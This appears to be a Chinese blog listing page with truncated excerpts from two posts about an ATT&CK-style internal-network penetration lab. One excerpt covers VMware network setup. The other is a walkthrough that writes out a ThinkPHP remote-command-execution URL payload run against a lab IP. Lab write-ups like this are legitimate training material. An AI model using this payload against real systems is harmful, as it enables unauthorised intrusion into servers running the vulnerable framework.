a168xzy的博客

记一次内网渗透（ATT&CK第五个攻防靶场）靶场下载地址:download渗透测试拿到题目打开是一个thinkphp框架测试thinkphp版本找到此版本漏洞的poc 可以命令执行http://192.168.199.206/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前路径http://192.1

内网渗透-ATT&CK第五个攻防靶场环境搭建靶场下载地址:download下载靶场，用vm打开win7和win2008的vmx镜像打开后到vm中找到编辑，打开网络编辑器，点击更改设置添加两个网卡一个使用桥接模式，网卡选择物理机在使用的网卡另一个使用NAT模式，子网ip使用系统默认接下来给两个靶机添加网卡win7一个添加桥接一个添加NATwin2008添加NAT就可以了](https://imgchr.com/i/DTdvPU)win2008网络配置win7网